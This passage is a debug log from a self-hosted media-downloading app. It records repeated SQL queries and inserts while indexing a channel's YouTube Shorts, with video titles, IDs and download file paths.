(?)) [1] 19:22:02.317 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:02.318 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 19:22:02.319 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "d212060c-5cc9-4f8d-bbcd-c2e30af1d683", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 02:22:02Z], ~U[2026-08-20 02:22:02Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 19:22:02.320 [debug] QUERY OK source="sources" db=0.2ms idle=24.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:02.320 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:02.320 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 19:22:02.321 [debug] Current batch of media processed. Will check again in 1000ms 19:22:03.321 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", "id" => "gjpV5R_MvW4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gjpV5R_MvW4", "playlist_index" => 4, "timestamp" => 1749154082, "title" => "Demons. Pt.7 Melchizedek. Pt.1", "upload_date" => "20250605"} 19:22:03.322 [debug] QUERY OK source="sources" db=0.3ms idle=1001.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:03.322 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:03.322 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 19:22:03.323 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "cb67a161-4620-4d1c-aaac-0b483694cafd", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 02:22:03Z], ~U[2026-08-20 02:22:03Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 19:22:03.324 [debug] QUERY OK source="sources" db=0.2ms idle=27.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:03.324 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:03.324 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 19:22:03.325 [debug] Current batch of media processed. Will check again in 1000ms 19:22:04.325 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", "id" => "HUfMTGjP05Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HUfMTGjP05Q", "playlist_index" => 5, "timestamp" => 1749151292, "title" => "Demons. Pt.6 Deliverance from demons😋🫵🏿", "upload_date" => "20250605"} 19:22:04.326 [debug] QUERY OK source="sources" db=0.2ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:04.326 [debug] QUERY OK source="sources" db=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:04.326 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 19:22:04.327 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "a6f03a09-96d8-4b09-b877-5604573591f3", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 02:22:04Z], ~U[2026-08-20 02:22:04Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 19:22:04.327 [debug] QUERY OK source="sources" db=0.1ms idle=30.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:04.328 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:04.328 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 19:22:04.328 [debug] Current batch of media processed. Will check again in 1000ms 19:22:05.329 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", "id" => "SpwLvxDOkYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SpwLvxDOkYU", "playlist_index" => 6, "timestamp" => 1749150533, "title" => "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "upload_date" => "20250605"} 19:22:05.330 [debug] QUERY OK source="sources" db=0.2ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:05.330 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:05.330 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 19:22:05.331 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "71e234d5-211b-4212-88e5-4bf32cf58a78", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 02:22:05Z], ~U[2026-08-20 02:22:05Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 19:22:05.332 [debug] QUERY OK source="sources" db=0.2ms idle=33.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:05.332 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:05.332 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 19:22:05.333 [debug] Current batch of media processed. Will check again in 1000ms 19:22:06.333 [debug] Current batch of media processed. Will check again in 1000ms 19:22:07.334 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", "id" => "05-_ewx1Im8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/05-_ewx1Im8", "playlist_index" => 7, "timestamp" => 1749149590, "title" => "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "upload_date" => "20250605"} 19:22:07.335 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=552.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:07.335 [debug] QUERY OK source="sources" db=0.1ms idle=552.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:07.335 [debug] QUERY OK source="media_items" db=0.1ms idle=553.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 19:22:07.336 [debug] QUERY OK source="media_items" db=0.5ms idle=553.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "a07232dd-f5c6-4ed7-bdd4-7e2d4bb1946b", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 02:22:07Z], ~U[2026-08-20 02:22:07Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 19:22:07.337 [debug] QUERY OK source="sources" db=0.1ms idle=36.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:07.337 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:07.337 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND 